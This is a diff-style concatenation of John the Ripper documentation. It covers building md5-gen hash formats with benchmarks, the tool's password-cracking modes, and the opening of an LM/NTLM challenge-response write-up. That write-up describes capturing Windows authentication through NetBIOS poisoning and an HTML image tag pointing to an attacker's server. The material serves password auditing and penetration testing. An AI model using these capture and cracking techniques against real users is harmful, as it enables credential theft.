new md5-gen format 'script', into john.ini file (john.conf). This
|
||||
file usually is located in the current directory where john is run out
|
||||
of (but the --config=file can override the default behavior). Within the
|
||||
john.conf, a new 'section' can be added for a md5 genercic format. The
|
||||
new 'section' will be set by using this section naming:
|
||||
|
||||
[List.Generic:md5_gen(NUM)]
|
||||
|
||||
You replace the NUM with the sub-format number (from 1001 to 9999).
|
||||
Pick a number that is not used.
|
||||
|
||||
Within this 'section', there will be multiple lines added. These lines
|
||||
are primarily of the form: Type=Value
|
||||
|
||||
The actual contents of these scripts will be addressed later. That will
|
||||
be the 'How', and preforming this is actually outside of the intro section.
|
||||
|
||||
The 'Data' and runtime information is this:
|
||||
|
||||
Inside of the md5-gen format, there are 2 input buffers (actually ALL data
|
||||
is arrays of 128 of each buffer type). There is input1 and input2 buffers.
|
||||
The main operations on these buffers is to clear them, and to append data,
|
||||
to build string which will later be md5 hashed.
|
||||
|
||||
There are also 2 output buffers. These buffers will receive the md5 hashing
|
||||
from the 2 input buffers. NOTE, when the format processing is complete, the
|
||||
results MUST be placed into output1 buffer. This is where all of the comparison
|
||||
functions will check against.
|
||||
|
||||
In the format, there is a salt (if the format is salted). There may also be
|
||||
a second salt value.
|
||||
|
||||
There are also 'keys' value(s). These are the passwords being tested at this
|
||||
given time.
|
||||
|
||||
There are also 8 'constant' strings which can be used within a format. A
|
||||
format such as md5-po has a couple of constants within it.
|
||||
|
||||
There are also numerous optimization 'flags' which do special things when
|
||||
loading keys or salts, and there are numourous special 'optimization' primative
|
||||
functions within the format, for speedup of certain operations.
|
||||
|
||||
**** Simple format building ****
|
||||
|
||||
We will start out with a few simple formats, and simply 'show' how to build
|
||||
a straight forward script. The scripts may or may not be optimal. Later
|
||||
we will optimize these somewhat. When building the formats here, there will
|
||||
be comments interspersed, listing just what is being done, and why.
|
||||
|
||||
we will build these formats:
|
||||
md5_gen(1030) md5($p.$p)
|
||||
md5_gen(1031) md5($s.md5($p).$p)
|
||||
md5_gen(1032) md5(md5($s).md5($p).$p)
|
||||
|
||||
[List.Generic:md5_gen(1030)]
|
||||
Expression=md5_gen(1030): md5($p.$p)
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1
|
||||
|
||||
Here is the exact same format, with some comments added, describing the
|
||||
sub-sections, and exactly what is being done.
|
||||
|
||||
#first line is the section name. It MUST be of the format shown.
|
||||
[List.Generic:md5_gen(1030)]
|
||||
#
|
||||
#the next line, is a required line. It serves 2 purposes. It is output
|
||||
#in john, when the format 'starts'. Also, the md5_gen(#) part is used
|
||||
#to destinguish this exact format (so the command line of --sub=md5_gen(1030)
|
||||
#would specify this and only this format)
|
||||
#
|
||||
Expression=md5_gen(1030): md5($p.$p)
|
||||
#
|
||||
#This is the set of functions. This is the ONLY section of the format
|
||||
#where order IS important. The functions ARE handled one after the
|
||||
#other, from top to bottom, to perform the string operations, and md5
|
||||
#operations which are needed to perform the hash of this format
|
||||
#The functions ARE a required part of the format.
|
||||
#
|
||||
#first step, clean the input. All work for this format is done using
|
||||
#only input 1 and output 1 buffers.
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
#
|
||||
#Step 2, append the keys. Note, the buffer is clean, so this is simply
|
||||
#the same as Input=keys (but required 2 steps, the clean and append keys).
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
#
|
||||
#Step 3, append keys again (the format is ($p.$p) or keys appended to keys.
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
#
|
||||
#Step 4, final step performs md5 of $p.$p This will properly leave the
|
||||
#results in output1
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
#
|
||||
#This is test string. These ARE required. You can provide more than
|
||||
#one. 5 or 6 are best, to make sure the format is valid.
|
||||
#
|
||||
Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1
|
||||
|
||||
Ok, here is the second format. The format being done is md5($s.md5($p).$p)
|
||||
Here are a few comments about this format:
|
||||
1. There is a Flag= value. This is because this is a Salted format. This
|
||||
REQUIRES the MGF_SALTED flag.
|
||||
2. We only use input 1 and output 1.
|
||||
3. There are a couple of calls to crypt (md5). The first simply gets
|
||||
md5($p) and puts it into output1, which will later be appeneded in
|
||||
base-16 format as we build our string.
|
||||
4. After the first crypt (md5), we clear our input buffer, then put
|
||||
the salt in, append the base-16 of md5($p), and then append $p
|
||||
5. Finally, and call to crypt is done, which leaves the results in
|
||||
output1, so the rest of the md5-gen format can properly compare it.
|
||||
|
||||
[List.Generic:md5_gen(1031)]
|
||||
Expression=md5_gen(1031): md5($s.md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1031)a459f60614498dbdd9a79dcc9c538749$aabbccdd:test1
|
||||
|
||||
|
||||
Now, here is the final format: md5(md5($s).md5($p).$p)
|
||||
|
||||
[List.Generic:md5_gen(1032)]
|
||||
Expression=md5_gen(1032): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input2
|
||||
Func=MD5GenBaseFunc__append_keys2
|
||||
Func=MD5GenBaseFunc__crypt2
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1032)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Ok, now that these have been built, here are a few 'benchmarks' listing
|
||||
that they are WORKING, and what speed they are working:
|
||||
|
||||
Here is MinGW build 'x86'
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1030)
|
||||
Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) [128x1 (MD5_Go)]... DONE
|
||||
Raw: 3530K c/s
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1945K c/s
|
||||
Only one salt: 1890K c/s
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1016K c/s
|
||||
Only one salt: 1031K c/s
|
||||
|
||||
|
||||
Here is MinGW build of SSE2
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1030)
|
||||
Benchmarking: md5_gen(1030) md5_gen(1030): md5($p.$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Raw: 7250K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 5065K c/s
|
||||
Only one salt: 4436K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) SSE2 [SSE2 32x4 (.S)]... FAILED (get_hash[0](0))
|
||||
|
||||
|
||||
Here is some timings to check against:
|
||||
|
||||
john_x86 -test -for=md5-gen -sub=md5_gen(0)
|
||||
Benchmarking: md5_gen(0): md5($p) (raw-md5) [128x1 (MD5_Go)]... DONE
|
||||
Raw: 4005K c/s
|
||||
|
||||
john_sse2 -test -for=md5-gen -sub=md5_gen(0)
|
||||
Benchmarking: md5_gen(0): md5($p) (raw-md5) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Raw: 10740K c/s
|
||||
|
||||
|
||||
**** Optimizations of prior formats ****
|
||||
|
||||
For format 1030, the speed should be very close to that of md5_gen(0).
|
||||
In both formats, there is only 1 call to md5(). However, we are seeing that the
|
||||
(1030) is slower than (0). The explanation of this, is that the (0) format has
|
||||
an optimization used, which we can not use in the (1030). The (1030) is likely
|
||||
about as optimal as it can be made in the current md5-gen format. The optimization
|
||||
for format (0) is: Flag=MGF_KEYS_INPUT What that does, is to place the keys
|
||||
directly into the input field, and then later, when john gets the keys back (it
|
||||
does this if a hash is cracked), john gets them from the input. In the (1030)
|
||||
format, we load the keys, into the 'keys' arrays. We then have to call a function
|
||||
to clean input buffer 1, and to append the keys (twice). Thus, what we have is
|
||||
additional memory movement, and that slows things down. However, to use the
|
||||
MGF_KEYS_INPUT optimization, we would have had to keep the input1 buffer prestine
|
||||
and ONLY put in the keys (passwords). Since we had to append the keys twice,
|
||||
we simply 'blew' that requirement, and thus, could NOT use it. At a later
|
||||
time, we will show a format WHERE we can use this optimization.
|
||||
|
||||
For format 1031, there also appears to be no optimizations available.
|
||||
|
||||
For 1032, there are optimizations. In this format, we notice that we have
|
||||
this sub expression: md5($s). Well, there is an optimization, which when it
|
||||
loads the input file, it converts all salts into md5($s) and uses that value
|
||||
instead. So, at startup time, we perform md5 hashes of all salts, but at
|
||||
runtime, we simply place the salt into the building string, instead of performing
|
||||
a MD5 on the salt. So, in the 1032, we had 3 calls to crypt. By using this
|
||||
optimization, we can reduce that to 2 crypts. The starting format is:
|
||||
md5(md5($s).md5($p).$p) This optimization makes the format 'behave' at
|
||||
runtime, like it is md5($s.md5($p).$p), which was format 1031. Note, after
|
||||
we make this optimzation, the timings will be almost identical to the 1031
|
||||
timings. Also note, the Test string for 1032 and 1042 are exactly the
|
||||
same. These are the same formats. It is just that 1042 performs fewer
|
||||
crypt calls per test. Also note, in the 'original' run of SSE2, the 1032
|
||||
format failed. This failure, is due to the SSE2 / MMX code only working
|
||||
for strings up to 54 bytes (optimization reason). The length of this string:
|
||||
md5($s).md5($p) is 64 bytes by itself, and we also append $p to that. Thus,
|
||||
our string is OVER 54 bytes in length, and thus, can not be used in SSE2
|
||||
mode. We do have a couple work arounds for this, to get it working properly
|
||||
on SSE2 builds. We can use a flag which simply stops SSE2 dead in its tracks
|
||||
(and preforms all work using x86 code). This is flag MGF_NOTSSE2Safe
|
||||
|
||||
[List.Generic:md5_gen(1042)]
|
||||
Expression=md5_gen(1042): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Flag=MGF_NOTSSE2Safe
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1042)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Once the above changes have been done, here are the speeds:
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1031)
|
||||
Benchmarking: md5_gen(1031) md5_gen(1031): md5($s.md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2007K c/s
|
||||
Only one salt: 1913K c/s
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1032)
|
||||
Benchmarking: md5_gen(1032) md5_gen(1032): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1052K c/s
|
||||
Only one salt: 1030K c/s
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1042)
|
||||
Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1420K c/s
|
||||
Only one salt: 1372K c/s
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1042)
|
||||
Benchmarking: md5_gen(1042) md5_gen(1042): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1416K c/s
|
||||
Only one salt: 1372K c/s
|
||||
|
||||
|
||||
We can also perform even more optimizations in the format. What we do in this format, is we
|
||||
md5 the salt (when we first load the file). Thus the salts which john works with, are really
|
||||
md5($s) (same as we did in format 1042). Then we use a different flag, which puts the
|
||||
md5($p) into offset 32 of input1 (where we want it). Then we simply overwrite the data in
|
||||
input 1 with the salt (which is md5($s) in base-16 format), then force set length to 64, then
|
||||
append the keys, then crypt.
|
||||
|
||||
[List.Generic:md5_gen(1052)]
|
||||
Expression=md5_gen(1052): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Flag=MGF_KEYS_BASE16_IN1_Offset32
|
||||
Flag=MGF_NOTSSE2Safe
|
||||
Func=MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix
|
||||
Func=MD5GenBaseFunc__set_input_len_64
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1052)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
Here are the benchmarks for the above format:
|
||||
|
||||
john_x86 -test=5 -for=md5-gen -sub=md5_gen(1052)
|
||||
Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2251K c/s
|
||||
Only one salt: 1369K c/s
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1052)
|
||||
Benchmarking: md5_gen(1052) md5_gen(1052): md5(md5($s).md5($p).$p) SSE2 [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 2251K c/s
|
||||
Only one salt: 1369K c/s
|
||||
|
||||
|
||||
Now, note the speed for 'many salts'. It is very close to the speed of (1031), actually faster.
|
||||
This speed is the speed john will have for a normal password cracking, where you have dozens (or
|
||||
hundreds, or 1000's) of password hashes to crack.
|
||||
|
||||
To understand WHY this format is this much faster (the 'Many salts', is the normal way to
|
||||
benchmark the speed of a salted hash), is to understand what is happening under the hood within
|
||||
john's 'crypt all' loop.
|
||||
|
||||
while (!feof(password_file)) {
|
||||
for (i = 0 to max_num_passwords)
|
||||
SetKey(i, getnextpassword(password_file));
|
||||
if (salted)
|
||||
{
|
||||
while (z<salt_count)
|
||||
{
|
||||
SetSalt(salt[z]);
|
||||
crypt_all
|
||||
for (all_binaries_for_salt[z])
|
||||
CheckForMatched(binary)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
The above code is certainly not 'exact', but should show close enough, the algorithm used
|
||||
within john. Now, the algorithm as used within md5-gen will be shown (specifically for the
|
||||
flag MGF_KEYS_BASE16_IN1_Offset32).
|
||||
|
||||
- SetKey() is called numerous times. This will set a 'dirty flag' for the keys inside of md5-gen.
|
||||
- SetSalt() will be called. The salt handed to us is actually md5($s), since MGF_SALT_AS_HEX is set
|
||||
The SetSalt() calls are happening within the 'while(z<salt_count)' loop in john.
|
||||
- crypt_all is called.
|
||||
Within crypt_all, md5-gen knows that we want the base-16 md5($p) to be placed at offset 32
|
||||
within input1. So the first call to crypt_all (for the first salt), will cause the md5($p)
|
||||
to be computed, and to be placed at offset 32.
|
||||
Then the script will overwrite the starting bytes of input1 with the 32 bytes of the salt,
|
||||
then the length is set to 64, then the key is appened, then a crypt, and then comparisons.
|
||||
- NOW, we are at the next loop within the 'while(z<salt_count)'.
|
||||
- Then john loads the next salt [ SetSalt() ].
|
||||
- Then john calls crypt_all.
|
||||
At this time, there have been NO additional SetKey() calls. Thus, md5-gen knows that the
|
||||
base-16 text of md5($p) is STILL located at offset 32 of Input1. So, the format DOES NOT
|
||||
perform this crypt again (until new SetKey() function calls happen).
|
||||
- This SetSalt .. crypt_all .. compare continues until all salts are tested. However, there
|
||||
will be no crypt calls to md5($p) again, UNTIL the working code within john calls SetKey()
|
||||
again (when starting with new passwords, after all salts have been checked).
|
||||
|
||||
|
||||
Now, in the final format, we start from 1042, and do NOT turn off the sse2 code. What we do, is
|
||||
to turn off SSE2 when it is not valid. This will generate x86 code (generic) that runs exactly
|
||||
the same as in 1042 (the 2 function calls of MD5GenBaseFunc__SSEtoX86_switch_output1 and
|
||||
MD5GenBaseFunc__X86toSSE_switch_output1 are no-ops in x86 builds). However, in SSE mode,
|
||||
the first crypt will be done using SSE. Thus, as we see, the speed went from 1420k, up
|
||||
to almost 1800k. But note, this is NOT as fast as format 1052, for 'many' salts.
|
||||
|
||||
[List.Generic:md5_gen(1062)]
|
||||
Expression=md5_gen(1062): md5(md5($s).md5($p).$p)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_SALT_AS_HEX
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__SSEtoX86_switch_output1
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__X86toSSE_switch_output1
|
||||
Test=md5_gen(1062)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1
|
||||
|
||||
john_sse2 -test=5 -for=md5-gen -sub=md5_gen(1062)
|
||||
Benchmarking: md5_gen(1062) md5_gen(1062): md5(md5($s).md5($p).$p) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 1792K c/s
|
||||
Only one salt: 1715K c/s
|
||||
|
||||
So all in all, 1032, 1042, 1052, 1062 were all equivalent (1032 was not, since it fails in
|
||||
SSE2 builds, but that was 'fixed' in 1042). They all run using differing sets of flags, differing
|
||||
sets of Function primatives, and have different runtime speeds. However, in the end, they all
|
||||
|
||||
|
||||
|
||||
Now, the above format 1062 is slower than 1052. This is due to the final crypt still having to be
|
||||
done in x86 mode. However, in 1062, we crypt EVERY password for each salt. Thus you can see there
|
||||
is no speed gain between many salts, and 1 salt. Yes, the md5($p) IS done using SSE2 which is much
|
||||
faster, but in version 1052, when there are multiple salts, the slower md5($p) is done only 1 time
|
||||
per password.
|
||||
|
||||
|
||||
Now, the flag MGF_KEYS_BASE16_IN1_Offset32 (or other flags like it), CAN be used in SSE2 to
|
||||
get much faster behavior, however, it has to be in a format that IS SSE2 friendly. Here
|
||||
is an example:
|
||||
|
||||
md5(md5($p).$s) In this format, we CAN build an SSE2 friendly format, that is VERY fast.
|
||||
For this test, we will set the salt length to a fixed size of 12.
|
||||
|
||||
Here is a very easy to read, but also very far from optimal format for the above type:
|
||||
[List.Generic:md5_gen(1033)]
|
||||
Expression=md5_gen(1033): md5(md5($p).$s)
|
||||
Flag=MGF_SALTED
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_keys
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Func=MD5GenBaseFunc__clean_input
|
||||
Func=MD5GenBaseFunc__append_from_last_output_as_base16
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1033)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1
|
||||
SaltLen=12
|
||||
|
||||
john_x86 -test -format=md5-gen -subf=md5_gen(1033)
|
||||
Benchmarking: md5_gen(1033) md5_gen(1033): md5(md5($p).$s) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 1918K c/s
|
||||
Only one salt: 1889K c/s
|
||||
|
||||
john_sse2 -test -format=md5-gen -subf=md5_gen(1033)
|
||||
Benchmarking: md5_gen(1033) md5_gen(1033): md5(md5($p).$s) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 5479K c/s
|
||||
Only one salt: 4922K c/s
|
||||
|
||||
|
||||
Here is a MUCH more optimal version (1043). This version will use the flag
|
||||
MGF_KEYS_BASE16_IN1 to load the md5($p) into input 1, at the start of that string. That
|
||||
will ONLY be done, if there is a SetKeys() change. Then we simply set the input length
|
||||
to 32, append the salt, and call crypt.
|
||||
|
||||
[List.Generic:md5_gen(1043)]
|
||||
Expression=md5_gen(1043): md5(md5($p).$s)
|
||||
Flag=MGF_SALTED
|
||||
Flag=MGF_KEYS_BASE16_IN1
|
||||
Func=MD5GenBaseFunc__set_input_len_32
|
||||
Func=MD5GenBaseFunc__append_salt
|
||||
Func=MD5GenBaseFunc__crypt
|
||||
Test=md5_gen(1033)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1
|
||||
SaltLen=12
|
||||
|
||||
john_x86 -test -format=md5-gen -subf=md5_gen(1043)
|
||||
Benchmarking: md5_gen(1043) md5_gen(1043): md5(md5($p).$s) [128x1 (MD5_Go)]... DONE
|
||||
Many salts: 4128K c/s
|
||||
Only one salt: 1890K c/s
|
||||
|
||||
john_sse2 -test -format=md5-gen -subf=md5_gen(1043)
|
||||
Benchmarking: md5_gen(1043) md5_gen(1043): md5(md5($p).$s) SSE2 [SSE2 32x4 (.S)]... DONE
|
||||
Many salts: 13096K c/s
|
||||
Only one salt: 4834K c/s
|
||||
|
||||
So in this case, we see that the 'only 1 salt' speed is pretty much a wash. However, the
|
||||
'many salts' speed, has gone from 1900k to 4100k for non-sse, and from 5500k to 13100k.
|
||||
|
||||
NOTE, the above format is actually md5_gen(6) (also md5_gen(7)) format.
|
||||
|
||||
|
|
@ -1,112 +0,0 @@
|
|||
John the Ripper's cracking modes.
|
||||
|
||||
Mode descriptions here are short and only cover the basic things.
|
||||
Check other documentation files for information on customizing the
|
||||
modes.
|
||||
|
||||
|
||||
Wordlist mode.
|
||||
|
||||
This is the simplest cracking mode supported by John. All you need to
|
||||
do is specify a wordlist (a text file containing one word per line)
|
||||
and some password files. You can enable word mangling rules (which
|
||||
are used to modify or "mangle" words producing other likely
|
||||
passwords). If enabled, all of the rules will be applied to every
|
||||
line in the wordlist file producing multiple candidate passwords from
|
||||
each source word.
|
||||
|
||||
The wordlist should not contain duplicate lines. John does not sort
|
||||
entries in the wordlist since that would consume a lot of resources
|
||||
and would prevent you from making John try the candidate passwords in
|
||||
the order that you define (with more likely candidate passwords listed
|
||||
first). However, if you don't list your candidate passwords in a
|
||||
reasonable order, it'd be better if you sort the wordlist
|
||||
alphabetically: with some hash types, John runs a bit faster if each
|
||||
candidate password it tries only differs from the previous one by a
|
||||
few characters. Most wordlists that you may find on the Net are
|
||||
already sorted anyway.
|
||||
|
||||
On the other hand, if your wordlist is sorted alphabetically, you do
|
||||
not need to bother about some wordlist entries being longer than the
|
||||
maximum supported password length for the hash type you're cracking.
|
||||
To give an example, for traditional DES-based crypt(3) hashes only
|
||||
the first 8 characters of passwords are significant. This means that
|
||||
if there are two or more candidate passwords in the wordlist whose
|
||||
first 8 characters are exactly the same, they're effectively the same
|
||||
8 character long candidate password which only needs to be tried once.
|
||||
As long as the wordlist is sorted alphabetically, John is smart enough
|
||||
to handle this special case right.
|
||||
|
||||
In fact, it is recommended that you do not truncate candidate
|
||||
passwords in your wordlist file since the rest of the characters
|
||||
(beyond the length limit of your target hash type) are likely still
|
||||
needed and make a difference if you enable word mangling rules.
|
||||
|
||||
The recommended way to sort a wordlist for use with default wordlist
|
||||
rule set is:
|
||||
|
||||
tr A-Z a-z < SOURCE | sort -u > TARGET
|
||||
|
||||
See RULES for information on writing your own wordlist rules.
|
||||
|
||||
|
||||
"Single crack" mode.
|
||||
|
||||
This is the mode you should start cracking with. It will use the
|
||||
login names, "GECOS" / "Full Name" fields, and users' home directory
|
||||
names as candidate passwords, also with a large set of mangling rules
|
||||
applied. Since the information is only used against passwords for the
|
||||
accounts it was taken from (and against password hashes which happened
|
||||
to be assigned the same salt), "single crack" mode is much faster than
|
||||
wordlist mode. This permits for the use of a much larger set of word
|
||||
mangling rules with "single crack", and their use is always enabled
|
||||
with this mode. Successfully guessed passwords are also tried against
|
||||
all loaded password hashes just in case more users have the same
|
||||
password.
|
||||
|
||||
Note that running this mode on many password files simultaneously may
|
||||
sometimes get more passwords cracked than it would if you ran it on
|
||||
the individual password files separately.
|
||||
|
||||
|
||||
"Incremental" mode.
|
||||
|
||||
This is the most powerful cracking mode, it can try all possible
|
||||
character combinations as passwords. However, it is assumed that
|
||||
cracking with this mode will never terminate because of the number of
|
||||
combinations being too large (actually, it will terminate if you set a
|
||||
low password length limit or make it use a small charset), and you'll
|
||||
have to interrupt it earlier.
|
||||
|
||||
That's one reason why this mode deals with trigraph frequencies,
|
||||
separately for each character position and for each password length,
|
||||
to crack as many passwords as possible within a limited time.
|
||||
|
||||
To use the mode you need a specific definition for the mode's
|
||||
parameters, including password length limits and the charset to use.
|
||||
These parameters are defined in the configuration file sections called
|
||||
[Incremental:MODE], where MODE is any name that you assign to the mode
|
||||
(it's the name that you will need to specify on John's command line).
|
||||
You can either use a pre-defined incremental mode definition (one of
|
||||
"All", "Alnum", "Alpha", "Digits", or "LanMan" for LM hashes) or define
|
||||
a custom one.
|
||||
|
||||
See CONFIG and EXAMPLES for information on defining custom modes.
|
||||
|
||||
|
||||
External mode.
|
||||
|
||||
You can define an external cracking mode for use with John. This is
|
||||
done with the configuration file sections called [List.External:MODE],
|
||||
where MODE is any name that you assign to the mode. The section
|
||||
should contain program code of some functions that John will use to
|
||||
generate the candidate passwords it tries. The functions are coded in
|
||||
a subset of C and are compiled by John at startup when you request the
|
||||
particular external mode on John's command line. See EXTERNAL.
|
||||
|
||||
|
||||
What modes should I use?
|
||||
|
||||
See EXAMPLES for a reasonable order of cracking modes to use.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/MODES,v 1.5 2006/01/02 06:48:40 solar Exp $
|
||||
|
|
@ -1,143 +0,0 @@
|
|||
LM/NTLM Challenge / Response Authentication
|
||||
JoMo-Kun (jmk at foofus dot net) ~ 2010
|
||||
|
||||
Microsoft Windows-based systems employ a challenge-response authentication
|
||||
protocol as one of the mechanisms used to validate requests for remote file
|
||||
access. The configured/negotiated authentication type, or level, determines how
|
||||
the system will perform authentication attempts on behalf of users for either
|
||||
incoming or outbound requests. These requests may be due to a user initiating a
|
||||
logon session with a remote host or, in some cases, transparently by an
|
||||
application they are running. In many cases, these exchanges can be replayed,
|
||||
manipulated or captured for offline password cracking. The following text
|
||||
discusses the available tools within the John the Ripper "Jumbo" patch for
|
||||
performing offline password auditing of these specific captured challenge-
|
||||
response pairs.
|
||||
|
||||
Why might these exchanges be of interest? A primary point of most penetration
|
||||
tests is to find avenues through which the assessor can gain unauthorized access
|
||||
to some resource. This often relies on the compromise of a system's local
|
||||
accounts or the exploitation of some service-level vulnerability. The ability to
|
||||
capture on-the-wire authentication exchanges and to crack the associated
|
||||
password adds another option to the mix. The fact that these exchanges can be
|
||||
cracked aids in demonstrating to clients why one authentication algorithm may be
|
||||
preferred to another.
|
||||
|
||||
A given server is likely to use one of the following protocols for
|
||||
authentication challenge-response: LMv1, NTLMv1, LMv2 or NTLMv2. It should be
|
||||
noted that these protocols may use the LM and NTLM password hashes stored on a
|
||||
system, but they are not the same thing. For an excellent in-depth discussion of
|
||||
the protocols see the Davenport paper entitled "The NTLM Authentication Protocol
|
||||
and Security Support Provider" [1]. For the purposes of this discussion, the key
|
||||
item of note is that the LMv1 and NTLMv1 protocols consist of a only a single
|
||||
server challenge. This allows an attacker to force a client into authenticating
|
||||
using a specific challenge and then attack that response using precomputed
|
||||
Rainbow Tables.
|
||||
|
||||
There are a variety of methods for capturing challenge-response pairs, including
|
||||
the use of tools such as MetaSploit and Ettercap. The author's preferred method
|
||||
is to use a modified version of Samba[2]. The provided patch sets the server's
|
||||
challenge to a fixed value (i.e. 0x1122334455667788) and logs all authentication
|
||||
attempts in a format suitable for use with John. The patch also includes a
|
||||
modification to the nmbd application. Nmbd is used to respond to broadcast
|
||||
requests for NetBIOS name/IP information. The modified service simply responds
|
||||
to all requests with its own IP address, often resulting in hosts unknowingly
|
||||
authenticating to the wrong system. Another common method of forcing systems to
|
||||
authenticate to the Samba server is through the use of HTML image source tags.
|
||||
For example, simply inserting the tag "<img src=file://192.168.1.10/logo.gif>"
|
||||
into a HTML message will cause some email client applications to automatically
|
||||
perform an authentication attempt. Other examples include the use of specialized
|
||||
desktop.ini files and many other mischievous tricks.
|
||||
|
||||
It is also worth noting that these challenge/response protocols are not limited
|
||||
to the Microsoft File and Print Services. For example, Cisco's LEAP wireless
|
||||
security mechanism, EAP-PEAP and PPTP all utilize a MS-CHAP handshake, or
|
||||
modified variant. The NTLMv1 challenge/response set can be extracted from this
|
||||
exchange and subjected to a brute-force guessing attack. Further discussion on
|
||||
this subject is outside of the scope of this write-up, but would certainly
|
||||
reveal numerous additional uses.
|
||||
|
||||
The LMv1 challenge-response mechanism suffers a number of technical limitations.
|
||||
As previously noted, only a server challenge is used. This means that if the
|
||||
challenge is set to a constant value, a given password will always result in
|
||||
the same client authentication response. This allows for the precomputation of
|
||||
